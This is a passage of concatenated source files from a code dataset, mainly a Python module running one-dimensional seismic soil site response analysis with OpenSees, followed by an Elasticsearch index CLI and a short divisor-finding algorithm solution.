'unit_mass'], target=dy)\n thicknesses = sp.split[\"thickness\"]\n self.n_node_rows = len(thicknesses) + 1\n node_depths = -np.cumsum(sp.split[\"thickness\"])\n self.node_depths = np.insert(node_depths, 0, 0)\n self.ele_depths = (self.node_depths[1:] + self.node_depths[:-1]) / 2\n self.unit_masses = sp.split[\"unit_mass\"] / 1e3\n\n self.grav = 9.81\n\n self.k0 = k0\n self.base_imp = base_imp\n\n self.ele_width = 3 * min(thicknesses)\n self.cache_path = cache_path\n self.opfile = opfile\n # Defined in static analysis\n self.soil_mats = None\n self.eles = None\n self.sn = None # soil nodes\n\n def build_model(self):\n # Define nodes and set boundary conditions for simple shear deformation\n # Start at top and build down?\n if self.opfile:\n self.state = 3\n else:\n self.state = 0\n if self.osi is None:\n self.osi = o3.OpenSeesInstance(ndm=2, ndf=2, state=self.state)\n nx = 1\n sn = []\n # sn = [[o3.node.Node(osi, ele_width * j, 0) for j in range(nx + 1)]]\n for i in range(0, self.n_node_rows):\n # Establish left and right nodes\n sn.append([o3.node.Node(self.osi, self.ele_width * j, self.node_depths[i]) for j in range(nx + 1)])\n # set x and y dofs equal for left and right nodes\n if i != self.n_node_rows - 1:\n o3.EqualDOF(self.osi, sn[i][0], sn[i][-1], [o3.cc.DOF2D_X, o3.cc.DOF2D_Y])\n sn = np.array(sn)\n\n if self.base_imp < 0:\n # Fix base nodes\n for j in range(nx + 1):\n o3.Fix2DOF(self.osi, sn[-1][j], o3.cc.FIXED, o3.cc.FIXED)\n else:\n # Fix base nodes\n for j in range(nx + 1):\n o3.Fix2DOF(self.osi, sn[-1][j], o3.cc.FREE, o3.cc.FIXED)\n\n # Define dashpot nodes\n dashpot_node_l = o3.node.Node(self.osi, 0, self.node_depths[-1])\n dashpot_node_2 = o3.node.Node(self.osi, 0, self.node_depths[-1])\n o3.Fix2DOF(self.osi, dashpot_node_l, o3.cc.FIXED, o3.cc.FIXED)\n o3.Fix2DOF(self.osi, dashpot_node_2, o3.cc.FREE, o3.cc.FIXED)\n\n # define equal DOF for dashpot and soil base nodes\n o3.EqualDOF(self.osi, sn[-1][0], sn[-1][1], [o3.cc.X])\n o3.EqualDOF(self.osi, sn[-1][0], dashpot_node_2, [o3.cc.X])\n\n # define materials\n pois = self.k0 / (1 + self.k0)\n ele_thick = 1.0 # m\n self.soil_mats = []\n strains = np.logspace(-6, -0.5, 16)\n prev_args = []\n prev_kwargs = {}\n prev_sl_class = None\n self.eles = []\n for i in range(len(self.ele_depths)):\n y_depth = -self.ele_depths[i]\n\n sl_id = self.sp.get_layer_index_by_depth(y_depth)\n sl = self.sp.layer(sl_id)\n if hasattr(sl, 'op_type'):\n if sl.built:\n pass\n else:\n sl.build(self.osi)\n mat = sl\n self.soil_mats.append(mat)\n else:\n app2mod = {}\n if y_depth > self.sp.gwl:\n umass = sl.unit_sat_mass / 1e3 # TODO: work out how to run in Pa, N, m, s\n else:\n umass = sl.unit_dry_mass / 1e3\n overrides = {'nu': pois, 'p_atm': 101,\n 'rho': umass,\n 'unit_moist_mass': umass,\n 'nd': 2.0,\n # 'n_surf': 25\n }\n # Define material\n if not hasattr(sl, 'o3_type'):\n sl.o3_type = sl.type # for backward compatibility\n if sl.o3_type == 'pm4sand':\n sl_class = o3.nd_material.PM4Sand\n # overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.o3_type == 'sdmodel':\n sl_class = o3.nd_material.StressDensity\n # overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.o3_type in ['pimy', 'pdmy', 'pdmy02']:\n if hasattr(sl, 'get_g_mod_at_m_eff_stress'):\n if hasattr(sl, 'g_mod_p0') and sl.g_mod_p0 != 0.0:\n v_eff = self.sp.get_v_eff_stress_at_depth(y_depth)\n k0 = sl.poissons_ratio / (1 - sl.poissons_ratio)\n m_eff = v_eff * (1 + 2 * k0) / 3\n p = m_eff # Pa\n overrides['d'] = 0.0\n else:\n p = 101.0e3 # Pa\n overrides['d'] = sl.a\n g_mod_r = sl.get_g_mod_at_m_eff_stress(p) / 1e3\n else:\n p = 101.0e3 # Pa\n overrides['d'] = 0.0\n g_mod_r = sl.g_mod / 1e3\n\n b_mod = 2 * g_mod_r * (1 + sl.poissons_ratio) / (3 * (1 - 2 * sl.poissons_ratio))\n overrides['p_ref'] = p / 1e3\n overrides['g_mod_ref'] = g_mod_r\n overrides['bulk_mod_ref'] = b_mod\n if sl.o3_type == 'pimy':\n overrides['cohesion'] = sl.cohesion / 1e3\n sl_class = o3.nd_material.PressureIndependMultiYield\n elif sl.o3_type == 'pdmy':\n sl_class = o3.nd_material.PressureDependMultiYield\n elif sl.o3_type == 'pdmy02':\n sl_class = o3.nd_material.PressureDependMultiYield02\n else:\n g_mod = self.sp.split['shear_vel'][i] ** 2 / self.unit_masses[i]\n sl_class = o3.nd_material.ElasticIsotropic\n sl.e_mod = 2 * g_mod * (1 - sl.poissons_ratio)\n overrides['nu'] = sl.poissons_ratio\n app2mod['rho'] = 'unit_moist_mass'\n args, kwargs = o3.extensions.get_o3_kwargs_from_obj(sl, sl_class, custom=app2mod, overrides=overrides)\n\n if o3.extensions.has_o3_model_changed(sl_class, prev_sl_class, args, prev_args, kwargs, prev_kwargs):\n mat = sl_class(self.osi, *args, **kwargs)\n prev_sl_class = sl_class\n prev_args = copy.deepcopy(args)\n prev_kwargs = copy.deepcopy(kwargs)\n mat.dynamic_poissons_ratio = sl.poissons_ratio\n self.soil_mats.append(mat)\n\n # def element\n for xx in range(nx):\n nodes = [sn[i + 1][xx], sn[i + 1][xx + 1], sn[i][xx + 1], sn[i][xx]] # anti-clockwise\n # eles.append(o3.element.Quad(self.osi, nodes, ele_thick, o3.cc.PLANE_STRAIN, mat, b2=-grav * unit_masses[i]))\n self.eles.append(o3.element.SSPquad(self.osi, nodes, mat, o3.cc.PLANE_STRAIN, ele_thick, 0.0,\n -self.grav * self.unit_masses[i]))\n self.sn = sn\n if self.base_imp >= 0:\n # define material and element for viscous dampers\n if self.base_imp == 0:\n sl = self.sp.get_soil_at_depth(self.sp.height)\n base_imp = sl.unit_dry_mass * self.sp.get_shear_vel_at_depth(self.sp.height)\n self.c_base = self.ele_width * base_imp / 1e3\n dashpot_mat = o3.uniaxial_material.Viscous(self.osi, self.c_base, alpha=1.)\n o3.element.ZeroLength(self.osi, [dashpot_node_l, dashpot_node_2], mats=[dashpot_mat], dirs=[o3.cc.DOF2D_X])\n\n self.o3res = o3.results.Results2D(cache_path=self.cache_path)\n self.o3res.wipe_old_files()\n self.o3res.coords = o3.get_all_node_coords(self.osi)\n self.o3res.ele2node_tags = o3.get_all_ele_node_tags_as_dict(self.osi)\n self.o3res.mat2ele_tags = []\n for ele in self.eles:\n self.o3res.mat2ele_tags.append([ele.mat.tag, ele.tag])\n\n def execute_static(self, ray_freqs=(0.5, 10), xi=0.03):\n # Static analysis\n o3.constraints.Transformation(self.osi)\n o3.test.NormDispIncr(self.osi, tol=1.0e-5, max_iter=30, p_flag=0)\n o3.algorithm.Newton(self.osi)\n o3.numberer.RCM(self.osi)\n o3.system.ProfileSPD(self.osi)\n o3.integrator.Newmark(self.osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(self.osi)\n omega_1 = 2 * np.pi * ray_freqs[0]\n omega_2 = 2 * np.pi * ray_freqs[1]\n a0 = 2 * xi * omega_1 * omega_2 / (omega_1 + omega_2)\n a1 = 2 * xi / (omega_1 + omega_2)\n #o3.rayleigh.Rayleigh(self.osi, a0, a1, 0, 0)\n o3.analyze(self.osi, 10, 500.)\n if self.opfile:\n o3.extensions.to_py_file(self.osi, self.opfile)\n o3.extensions.to_tcl_file(self.osi, self.opfile.replace('.py', '.tcl'))\n\n for i in range(len(self.soil_mats)):\n if hasattr(self.soil_mats[i], 'update_to_nonlinear'):\n self.soil_mats[i].update_to_nonlinear()\n for ele in self.eles:\n mat = ele.mat\n if hasattr(mat, 'set_nu'):\n mat.set_nu(mat.dynamic_poissons_ratio, eles=[ele])\n o3.analyze(self.osi, 40, 500.)\n\n # reset time and analysis\n o3.wipe_analysis(self.osi)\n\n def get_nearest_node_layer_at_depth(self, depth):\n # Convert to positive since node depths go downwards\n return int(np.round(np.interp(depth, -self.node_depths, np.arange(len(self.node_depths)))))\n\n def get_nearest_ele_layer_at_depth(self, depth):\n # Convert to positive since ele depths go downwards\n return int(np.round(np.interp(depth, -self.ele_depths, np.arange(len(self.ele_depths)))))\n\n def apply_loads(self, ray_freqs=(0.5, 10), xi=0.03):\n o3.set_time(self.osi, 0.0)\n\n # Define the dynamic analysis\n o3.constraints.Transformation(self.osi)\n o3.test.NormDispIncr(self.osi, tol=1.0e-4, max_iter=30, p_flag=0)\n # o3.test_check.EnergyIncr(self.osi, tol=1.0e-6, max_iter=30)\n o3.algorithm.Newton(self.osi)\n o3.system.SparseGeneral(self.osi)\n o3.numberer.RCM(self.osi)\n o3.integrator.Newmark(self.osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(self.osi)\n omega_1 = 2 * np.pi * ray_freqs[0]\n omega_2 = 2 * np.pi * ray_freqs[1]\n a0 = 2 * xi * omega_1 * omega_2 / (omega_1 + omega_2)\n a1 = 2 * xi / (omega_1 + omega_2)\n o3.rayleigh.Rayleigh(self.osi, a0, a1, 0, 0)\n\n static_time = 500\n print('time: ', o3.get_time(self.osi))\n # Add static stress bias\n time_series = o3.time_series.Path(self.osi, time=[0, static_time / 2, static_time, 1e3], values=[0, 0.5, 1, 1],\n use_last=True)\n o3.pattern.Plain(self.osi, time_series)\n net_hload = 0\n for i in range(len(self.sp.hloads)):\n pload = self.sp.hloads[i].p_x\n y = self.sp.hloads[i].y\n ind = self.get_nearest_node_layer_at_depth(y)\n print(i, y, ind)\n if self.sp.loads_are_stresses:\n pload *= self.ele_width\n o3.Load(self.osi, self.sn[ind][0], [pload, 0])\n net_hload += pload\n if self.base_imp >= 0:\n o3.Load(self.osi, self.sn[-1][0], [-net_hload, 0])\n\n static_dt = 0.1\n o3.analyze(self.osi, int(static_time / static_dt), static_dt)\n o3.load_constant(self.osi, time=0)\n\n def execute_dynamic(self, asig, analysis_dt=0.001, ray_freqs=(0.5, 10), xi=0.03, analysis_time=None,\n outs=None, rec_dt=None, playback_dt=None, playback=True):\n self.rec_dt = rec_dt\n self.playback_dt = playback_dt\n if rec_dt is None:\n self.rec_dt = asig.dt\n if playback_dt is None:\n self.playback_dt = asig.dt\n if analysis_time is None:\n analysis_time = asig.time[-1]\n o3.set_time(self.osi, 0.0)\n\n # Define the dynamic analysis\n o3.constraints.Transformation(self.osi)\n o3.test.NormDispIncr(self.osi, tol=1.0e-4, max_iter=30, p_flag=0)\n # o3.test_check.EnergyIncr(self.osi, tol=1.0e-6, max_iter=30)\n o3.algorithm.Newton(self.osi)\n o3.system.SparseGeneral(self.osi)\n o3.numberer.RCM(self.osi)\n o3.integrator.Newmark(self.osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(self.osi)\n # Rayleigh damping parameters\n omega_1 = 2 * np.pi * ray_freqs[0]\n omega_2 = 2 * np.pi * ray_freqs[1]\n a0 = 2 * xi * omega_1 * omega_2 / (omega_1 + omega_2)\n a1 = 2 * xi / (omega_1 + omega_2)\n o3.rayleigh.Rayleigh(self.osi, a0, a1, 0, 0)\n\n init_time = o3.get_time(self.osi)\n if playback:\n self.o3res.dynamic = True\n self.o3res.start_recorders(self.osi, dt=self.playback_dt)\n else:\n self.o3res.dynamic = False\n self.o3sra_outs = O3SRAOutputs()\n self.o3sra_outs.start_recorders(self.osi, outs, self.sn, self.eles, rec_dt=self.rec_dt)\n\n # Define the dynamic input motion\n if self.base_imp < 0: # fixed base\n acc_series = o3.time_series.Path(self.osi, dt=asig.dt, values=asig.values)\n o3.pattern.UniformExcitation(self.osi, dir=o3.cc.X, accel_series=acc_series)\n else:\n ts_obj = o3.time_series.Path(self.osi, dt=asig.dt, values=asig.velocity * 1, factor=self.c_base)\n o3.pattern.Plain(self.osi, ts_obj)\n o3.Load(self.osi, self.sn[-1][0], [1., 0.])\n if self.state == 3:\n o3.extensions.to_py_file(self.osi, self.opfile)\n # Run the dynamic motion\n o3.record(self.osi)\n while o3.get_time(self.osi) - init_time < analysis_time:\n if o3.analyze(self.osi, 1, analysis_dt):\n print('failed')\n if o3.analyze(self.osi, 10, analysis_dt / 10):\n break\n o3.wipe(self.osi)\n self.out_dict = self.o3sra_outs.results_to_dict()\n\n if self.cache_path:\n self.o3sra_outs.cache_path = self.cache_path\n self.o3sra_outs.results_to_files()\n self.o3res.save_to_cache()\n\n\ndef run_sra(sp, asig, ray_freqs=(0.5, 10), xi=0.03, analysis_dt=0.001, dy=0.5, analysis_time=None, outs=None,\n base_imp=0, k0=0.5, cache_path=None, opfile=None, playback=False, rec_dt=None):\n \"\"\"\n\n Parameters\n ----------\n sp\n asig\n ray_freqs\n xi\n analysis_dt\n dy\n analysis_time\n outs\n base_imp: float\n If positive then use as impedence at base of model,\n If zero then use last soil layer\n If negative then use fixed base\n k0\n cache_path\n opfile\n playback\n\n Returns\n -------\n\n \"\"\"\n sra_1d = SRA1D(sp, dy=dy, k0=k0, base_imp=base_imp, cache_path=cache_path, opfile=opfile)\n sra_1d.build_model()\n sra_1d.execute_static()\n if hasattr(sra_1d.sp, 'hloads'):\n sra_1d.apply_loads()\n sra_1d.execute_dynamic(asig, analysis_dt=analysis_dt, ray_freqs=ray_freqs, xi=xi, analysis_time=analysis_time,\n outs=outs, playback=playback, playback_dt=0.01, rec_dt=rec_dt)\n return sra_1d\n\n\n\ndef site_response(sp, asig, freqs=(0.5, 10), xi=0.03, analysis_dt=0.001, dy=0.5, analysis_time=None, outs=None,\n rec_dt=None, base_imp=0, cache_path=None, opfile=None, playback=False):\n \"\"\"\n Run seismic analysis of a soil profile - example based on:\n http://opensees.berkeley.edu/wiki/index.php/Site_Response_Analysis_of_a_Layered_Soil_Column_(Total_Stress_Analysis)\n\n Parameters\n ----------\n sp: sfsimodels.SoilProfile object\n A soil profile\n asig: eqsig.AccSignal object\n An acceleration signal\n base_imp: float\n If positive then use as impedence at base of model,\n If zero then use last soil layer\n If negative then use fixed base\n\n Returns\n -------\n\n \"\"\"\n if analysis_time is None:\n analysis_time = asig.time[-1]\n if outs is None:\n outs = {'ACCX': 'all'} # Export the horizontal acceleration at the surface\n if rec_dt is None:\n rec_dt = analysis_dt\n # else:\n # raise ValueError('This is causing an error')\n state = 0\n if opfile:\n state = 3\n osi = o3.OpenSeesInstance(ndm=2, ndf=2, state=state)\n assert isinstance(sp, sm.SoilProfile)\n sp.gen_split(props=['shear_vel', 'unit_mass'], target=dy)\n thicknesses = sp.split[\"thickness\"]\n n_node_rows = len(thicknesses) + 1\n node_depths = np.cumsum(sp.split[\"thickness\"])\n node_depths = np.insert(node_depths, 0, 0)\n ele_depths = (node_depths[1:] + node_depths[:-1]) / 2\n unit_masses = sp.split[\"unit_mass\"] / 1e3\n\n grav = 9.81\n # Rayleigh damping parameters\n omega_1 = 2 * np.pi * freqs[0]\n omega_2 = 2 * np.pi * freqs[1]\n a0 = 2 * xi * omega_1 * omega_2 / (omega_1 + omega_2)\n a1 = 2 * xi / (omega_1 + omega_2)\n\n k0 = 0.5\n pois = k0 / (1 + k0)\n\n ele_width = 3 * min(thicknesses)\n\n # Define nodes and set boundary conditions for simple shear deformation\n # Start at top and build down?\n nx = 1\n sn = []\n # sn = [[o3.node.Node(self.osi, ele_width * j, 0) for j in range(nx + 1)]]\n for i in range(0, n_node_rows):\n # Establish left and right nodes\n sn.append([o3.node.Node(osi, ele_width * j, -node_depths[i]) for j in range(nx + 1)])\n # set x and y dofs equal for left and right nodes\n o3.EqualDOF(osi, sn[i][0], sn[i][-1], [o3.cc.X, o3.cc.Y]) # if i != n_node_rows - 1:\n sn = np.array(sn)\n\n if base_imp < 0: # Fixed base\n o3.Fix2DOFMulti(osi, sn[-1], o3.cc.FIXED, o3.cc.FIXED) # Fix base nodes\n else:\n # Fix base nodes\n o3.Fix2DOFMulti(osi, sn[-1], o3.cc.FREE, o3.cc.FIXED)\n\n # Define dashpot nodes\n dashpot_node_l = o3.node.Node(osi, 0, -node_depths[-1])\n dashpot_node_2 = o3.node.Node(osi, 0, -node_depths[-1])\n o3.Fix2DOF(osi, dashpot_node_l, o3.cc.FIXED, o3.cc.FIXED)\n o3.Fix2DOF(osi, dashpot_node_2, o3.cc.FREE, o3.cc.FIXED)\n\n # define equal DOF for dashpot and soil base nodes\n o3.EqualDOF(osi, sn[-1][0], sn[-1][1], [o3.cc.X])\n o3.EqualDOF(osi, sn[-1][0], dashpot_node_2, [o3.cc.X])\n\n # define materials\n ele_thick = 1.0 # m\n soil_mats = []\n strains = np.logspace(-6, -0.5, 16)\n prev_args = []\n prev_kwargs = {}\n prev_sl_class = None\n eles = []\n for i in range(len(thicknesses)):\n y_depth = ele_depths[i]\n\n sl_id = sp.get_layer_index_by_depth(y_depth)\n sl = sp.layer(sl_id)\n\n app2mod = {}\n if y_depth > sp.gwl:\n umass = sl.unit_sat_mass / 1e3 # TODO: work out how to run in Pa, N, m, s\n else:\n umass = sl.unit_dry_mass / 1e3\n overrides = {'nu': pois, 'p_atm': 101,\n 'rho': umass,\n 'unit_moist_mass': umass,\n 'nd': 2.0,\n # 'n_surf': 25\n }\n # Define material\n if not hasattr(sl, 'o3_type'):\n sl.o3_type = sl.type\n if sl.o3_type == 'pm4sand':\n sl_class = o3.nd_material.PM4Sand\n # overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.o3_type == 'sdmodel':\n sl_class = o3.nd_material.StressDensity\n # overrides = {'nu': pois, 'p_atm': 101, 'unit_moist_mass': umass}\n app2mod = sl.app2mod\n elif sl.o3_type in ['pimy', 'pdmy', 'pdmy02']:\n if hasattr(sl, 'get_g_mod_at_m_eff_stress'):\n if hasattr(sl, 'g_mod_p0') and sl.g_mod_p0 != 0.0:\n v_eff = sp.get_v_eff_stress_at_depth(y_depth)\n k0 = sl.poissons_ratio / (1 - sl.poissons_ratio)\n m_eff = v_eff * (1 + 2 * k0) / 3\n p = m_eff # Pa\n overrides['d'] = 0.0\n else:\n p = 101.0e3 # Pa\n overrides['d'] = sl.a\n g_mod_r = sl.get_g_mod_at_m_eff_stress(p) / 1e3\n else:\n p = 101.0e3 # Pa\n overrides['d'] = 0.0\n g_mod_r = sl.g_mod / 1e3\n\n b_mod = 2 * g_mod_r * (1 + sl.poissons_ratio) / (3 * (1 - 2 * sl.poissons_ratio))\n overrides['p_ref'] = p / 1e3\n overrides['g_mod_ref'] = g_mod_r\n overrides['bulk_mod_ref'] = b_mod\n if sl.o3_type == 'pimy':\n overrides['cohesion'] = sl.cohesion / 1e3\n sl_class = o3.nd_material.PressureIndependMultiYield\n elif sl.o3_type == 'pdmy':\n sl_class = o3.nd_material.PressureDependMultiYield\n elif sl.o3_type == 'pdmy02':\n sl_class = o3.nd_material.PressureDependMultiYield02\n app2mod['e_init'] = 'e_curr'\n else:\n g_mod = sp.split['shear_vel'][i] ** 2 / unit_masses[i]\n sl_class = o3.nd_material.ElasticIsotropic\n sl.e_mod = 2 * g_mod * (1 - sl.poissons_ratio)\n overrides['nu'] = sl.poissons_ratio\n app2mod['rho'] = 'unit_moist_mass'\n args, kwargs = o3.extensions.get_o3_kwargs_from_obj(sl, sl_class, custom=app2mod, overrides=overrides)\n\n if o3.extensions.has_o3_model_changed(sl_class, prev_sl_class, args, prev_args, kwargs, prev_kwargs):\n mat = sl_class(osi, *args, **kwargs)\n prev_sl_class = sl_class\n prev_args = copy.deepcopy(args)\n prev_kwargs = copy.deepcopy(kwargs)\n mat.dynamic_poissons_ratio = sl.poissons_ratio\n soil_mats.append(mat)\n\n # def element\n for xx in range(nx):\n nodes = [sn[i+1][xx], sn[i+1][xx + 1], sn[i][xx + 1], sn[i][xx]] # anti-clockwise\n #eles.append(o3.element.Quad(osi, nodes, ele_thick, o3.cc.PLANE_STRAIN, mat, b2=-grav * unit_masses[i]))\n eles.append(o3.element.SSPquad(osi, nodes, mat, o3.cc.PLANE_STRAIN, ele_thick, 0.0, -grav * unit_masses[i]))\n\n if base_imp >= 0:\n # define material and element for viscous dampers\n if base_imp == 0:\n sl = sp.get_soil_at_depth(sp.height)\n base_imp = sl.unit_dry_mass * sp.get_shear_vel_at_depth(sp.height)\n c_base = ele_width * base_imp / 1e3\n dashpot_mat = o3.uniaxial_material.Viscous(osi, c_base, alpha=1.)\n o3.element.ZeroLength(osi, [dashpot_node_l, dashpot_node_2], mats=[dashpot_mat], dirs=[o3.cc.DOF2D_X])\n\n coords = o3.get_all_node_coords(osi)\n ele_node_tags = o3.get_all_ele_node_tags_as_dict(osi)\n\n # Static analysis\n o3.constraints.Transformation(osi)\n o3.test.NormDispIncr(osi, tol=1.0e-5, max_iter=30, p_flag=0)\n o3.algorithm.Newton(osi)\n o3.numberer.RCM(osi)\n o3.system.ProfileSPD(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(osi)\n o3.analyze(osi, 10, 500.)\n\n for i in range(len(soil_mats)):\n if hasattr(soil_mats[i], 'update_to_nonlinear'):\n soil_mats[i].update_to_nonlinear()\n for ele in eles:\n mat = ele.mat\n if hasattr(mat, 'set_nu'):\n mat.set_nu(mat.dynamic_poissons_ratio, eles=[ele])\n o3.analyze(osi, 40, 500.)\n\n # reset time and analysis\n o3.wipe_analysis(osi)\n o3.set_time(osi, 0.0)\n if playback:\n all_node_xdisp_rec = o3.recorder.NodesToArrayCache(osi, 'all', [o3.cc.DOF2D_X], 'disp', nsd=4)\n all_node_ydisp_rec = o3.recorder.NodesToArrayCache(osi, 'all', [o3.cc.DOF2D_Y], 'disp', nsd=4)\n\n if hasattr(sp, 'hloads'):\n # Define the dynamic analysis\n o3.constraints.Transformation(osi)\n o3.test.NormDispIncr(osi, tol=1.0e-4, max_iter=30, p_flag=0)\n # o3.test_check.EnergyIncr(osi, tol=1.0e-6, max_iter=30)\n o3.algorithm.Newton(osi)\n o3.system.SparseGeneral(osi)\n o3.numberer.RCM(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(osi)\n # o3.rayleigh.Rayleigh(osi, a0, a1, 0, 0)\n pload = sp.hloads[0].p_x\n static_time = 100\n print('time: ', o3.get_time(osi))\n # Add static stress bias\n time_series = o3.time_series.Path(osi, time=[0, static_time / 2, static_time, 1e3], values=[0, 0.5, 1, 1], use_last=1)\n o3.pattern.Plain(osi, time_series)\n o3.Load(osi, sn[0][0], [pload * ele_width, 0])\n o3.Load(osi, sn[9][0], [-pload * ele_width, 0])\n if base_imp >= 0:\n o3.Load(osi, sn[-1][0], [-pload, 0])\n\n static_dt = 0.1\n o3.analyze(osi, int(static_time / static_dt) * 1.5, static_dt)\n o3.load_constant(osi, time=0)\n\n o3.wipe_analysis(osi)\n o3.set_time(osi, 0.0) # TODO:\n # Define the dynamic analysis\n o3.constraints.Transformation(osi)\n o3.test.NormDispIncr(osi, tol=1.0e-4, max_iter=30, p_flag=0)\n # o3.test_check.EnergyIncr(osi, tol=1.0e-6, max_iter=30)\n o3.algorithm.Newton(osi)\n o3.system.SparseGeneral(osi)\n o3.numberer.RCM(osi)\n o3.integrator.Newmark(osi, gamma=0.5, beta=0.25)\n o3.analysis.Transient(osi)\n o3.rayleigh.Rayleigh(osi, a0, a1, 0, 0)\n\n init_time = o3.get_time(osi)\n o3sra_outs = O3SRAOutputs()\n o3sra_outs.start_recorders(osi, outs, sn, eles, rec_dt=rec_dt)\n\n # Define the dynamic input motion\n if base_imp < 0: # fixed base\n acc_series = o3.time_series.Path(osi, dt=asig.dt, values=asig.values)\n o3.pattern.UniformExcitation(osi, dir=o3.cc.X, accel_series=acc_series)\n else:\n ts_obj = o3.time_series.Path(osi, dt=asig.dt, values=asig.velocity * 1, factor=c_base)\n o3.pattern.Plain(osi, ts_obj)\n o3.Load(osi, sn[-1][0], [1., 0.])\n if state == 3:\n o3.extensions.to_py_file(osi, opfile)\n # Run the dynamic motion\n o3.record(osi)\n while o3.get_time(osi) - init_time < analysis_time:\n if o3.analyze(osi, 1, analysis_dt):\n print('failed')\n break\n o3.wipe(osi)\n out_dict = o3sra_outs.results_to_dict()\n\n if cache_path:\n o3sra_outs.cache_path = cache_path\n o3sra_outs.results_to_files()\n o3res = o3.results.Results2D()\n o3res.cache_path = cache_path\n o3res.coords = coords\n o3res.ele2node_tags = ele_node_tags\n if playback:\n o3res.x_disp = all_node_xdisp_rec.collect()\n o3res.y_disp = all_node_ydisp_rec.collect()\n o3res.save_to_cache()\n\n return out_dict\n\n\ndef site_response_w_pysra(soil_profile, asig, odepths):\n print('site_response_w_pysra -> deprecated: use liquepy.sra.run_pysra')\n import liquepy as lq\n import pysra\n pysra_profile = lq.sra.sm_profile_to_pysra(soil_profile, d_inc=[0.5] * soil_profile.n_layers)\n # Should be input in g\n pysra_m = pysra.motion.TimeSeriesMotion(asig.label, None, time_step=asig.dt, accels=-asig.values / 9.8)\n\n calc = pysra.propagation.EquivalentLinearCalculator()\n\n od = {'ACCX': [], 'STRS': [], 'TAU': []}\n outs = []\n for i, depth in enumerate(odepths):\n od['ACCX'].append(len(outs))\n outs.append(pysra.output.AccelerationTSOutput(pysra.output.OutputLocation('within', depth=depth)))\n od['STRS'].append(len(outs))\n outs.append(pysra.output.StrainTSOutput(pysra.output.OutputLocation('within', depth=depth), in_percent=False))\n od['TAU'].append(len(outs))\n outs.append(pysra.output.StressTSOutput(pysra.output.OutputLocation('within', depth=depth),\n normalized=False))\n outputs = pysra.output.OutputCollection(outs)\n calc(pysra_m, pysra_profile, pysra_profile.location('outcrop', depth=soil_profile.height))\n outputs(calc)\n\n out_series = {}\n for mtype in od:\n out_series[mtype] = []\n for i in range(len(od[mtype])):\n out_series[mtype].append(outputs[od[mtype][i]].values[:asig.npts])\n out_series[mtype] = np.array(out_series[mtype])\n if mtype == 'ACCX':\n out_series[mtype] *= 9.8\n return out_series\n","repo_name":"o3seespy/o3soil","sub_path":"o3soil/sra/one_d.py","file_name":"one_d.py","file_ext":"py","file_size_in_byte":28885,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"3065652547","text":"\n\nimport click\n\nfrom osp.common.config import config\nfrom osp.corpus.models.text import Document_Text\nfrom blessings import Terminal\n\n\n@click.group()\ndef cli():\n pass\n\n\n@cli.command()\ndef create():\n\n \"\"\"\n Create the index.\n \"\"\"\n\n Document_Text.es_create()\n\n\n@cli.command()\ndef delete():\n\n \"\"\"\n Delete the index.\n \"\"\"\n\n Document_Text.es_delete()\n\n\n@cli.command()\ndef reset():\n\n \"\"\"\n Reset the index.\n \"\"\"\n\n Document_Text.es_reset()\n\n\n@cli.command()\ndef count():\n\n \"\"\"\n Count documents.\n \"\"\"\n\n click.echo(Document_Text.es_count())\n\n\n@cli.command()\ndef insert():\n\n \"\"\"\n Index documents.\n \"\"\"\n\n Document_Text.es_insert()\n\n\n@cli.command()\n@click.argument('q')\n@click.option('--size', default=50)\n@click.option('--start', default=0)\n@click.option('--slop', default=50)\ndef search(q, size, start, slop):\n\n \"\"\"\n Search documents.\n \"\"\"\n\n results = config.es.search('osp', 'document', body={\n 'size': size,\n 'from': start,\n 'fields': [],\n 'query': {\n 'match_phrase': {\n 'body': {\n 'query': q,\n 'slop': slop\n }\n }\n },\n 'highlight': {\n 'pre_tags': ['\\033[1m'],\n 'post_tags': ['\\033[0m'],\n 'fields': {\n 'body': {}\n }\n }\n })\n\n term = Terminal()\n\n # Total hits.\n hits = str(results['hits']['total'])+' docs'\n click.echo(term.standout_cyan(hits))\n\n # Hit highlights.\n for hit in results['hits']['hits']:\n click.echo('\\n'+term.underline(hit['_id']))\n for hl in hit['highlight']['body']:\n click.echo(hl)\n","repo_name":"overview/osp","sub_path":"bin/commands/corpus_index.py","file_name":"corpus_index.py","file_ext":"py","file_size_in_byte":1705,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"70725891422","text":"\"\"\"\nnum=int(input())\nnlist=[]\nfor i in range(num):\n nlist.append(int(input()))\nminn=min(nlist)\nsave=[]\nfor i in range(2,minn):\n first=nlist[0]%i\n result=True\n for j in range(1,num):\n if (nlist[j]%i)!=first:\n result=False\n break\n if result==True:\n save.append(i)\n\nfor i in range(len(save)):\n print(save[i], end=' ')\n\n\"\"\"\n#for 범위min이면 2 5일 경우 아무것도 안나옴, 3이 나와야 함\n#for 범위max이면 시간초과가 남\n\nimport math\n\nnum = int(input())\nnlist = []\nresult = []\nfor i in range(num):\n nlist.append(int(input()))\nnlist.sort()\ntemp = [nlist[i] - nlist[i - 1] for i in range(1, num)] #각 인접 요소들끼리 뺄셈\ngcd = temp[0]\n\nfor i in range(1, num - 1):\n gcd = math.gcd(gcd, temp[i]) #--> 모든 요소 gcd구함\n\nfor i in range(1, int(math.pow(gcd, 1 / 2)) + 1):\n #math.pow --> 제곱근 반환 my_gcd의 1/2제곱근 반환\n if gcd % i == 0:\n if i ** 2 == gcd:\n result.append(i)\n else:\n result += [i, gcd // i]\nresult.remove(1)\nresult.sort()\n\nfor i in range(len(result)):\n print(result[i], end=\" \")\n","repo_name":"eunji1223/BOJ","sub_path":"14단계. 정수론 및 조합론/5.2981.py","file_name":"5.2981.py","file_ext":"py","file_size_in_byte":1143,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"7"} +{"seq_id":"72501161184","text":"import age_calc\nimport bmi_calc\nimport blood_pressure\nimport 